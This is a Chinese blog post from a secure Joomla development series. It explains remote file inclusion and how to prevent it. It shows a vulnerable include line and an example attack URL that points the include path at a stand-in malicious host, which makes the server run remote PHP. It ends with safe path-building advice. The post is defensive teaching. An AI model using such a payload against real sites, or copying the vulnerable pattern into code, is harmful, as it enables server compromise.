Joomla!-开源天空

2008-09-08
首页 专栏热点 Joomla! 源代码分析 开发安全的Joomla组件,插件和模块(三) 防止远程文件包含


开发安全的Joomla组件,插件和模块(三) 防止远程文件包含

E-mail

假如你的代码中有这样一行

include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );

而一个cracker这样访问你的网站:

http://www.example.com/components/com_yourcomponent/yourcomponent.php?
mosConfig_absolute_path=http://www.bad.site/bad.gif?

事实上这个图片文件的是一些可执行的php代码,那样这些代码就会执行(register_globals是on的状态情况下)。
这样cracker就可以做任何他想要的做的事情了,这就是远程文件包含攻击。非常不行,甚至一些不太懂脚本的人也能轻松的这样做。这只是非常简单的攻击方式,还有一些攻击方式,即使register_globals是off情况,也能进行攻击。远程文件包含攻击仅仅在那些allow_url_open的系统上能运行,但是很多系统要求打开这个参数。


结论: 为了确保防止远程文件包含攻击,你要确认不会使用不合法的输入。首先应用上篇文章中提到的防止非正常文件引用,其次对于处理文件系统的部分要非常注意,特别是include, require, include_once, require_once, fopen这些函数,如果在这些函数中确实要使用变量,请验证他们的合法性

以下是一个非常好的例子:

Joomla 1.0

define( 'YOURBASEPATH', dirname(__FILE__) );
 require_once( YOURBASEPATH . '/file_to_include.php' );
Joomla 1.5

define( 'YOURBASEPATH', dirname(__FILE__) );
 require_once( YOURBASEPATH . '/file_to_include.php' );

相关文章:
Joomla相关文章模块的改进--相关文章的插件
Joomla-开源天空的首页恢复
Joomla 缓存应该支持单一页面,或者菜单
开发安全的Joomla组件,插件和模块(九) 怎样获取原始组件的输出
开发安全的Joomla组件,插件和模块(八) 怎样获取原始组件的输出
开发安全的Joomla组件,插件和模块(七) 检查用户权限
开发安全的Joomla组件,插件和模块(二) 防止直接访问
开发安全的Joomla组件,插件和模块(一) 序言
Joomla 怎样判断用户在访问首页
Joomla 如何采用缓存加速你的代码(二)

发表您的文章评论

您的姓名 (昵称)
标题:
评分: 很差一般较好很好
评论:
验证码:
请输入验证码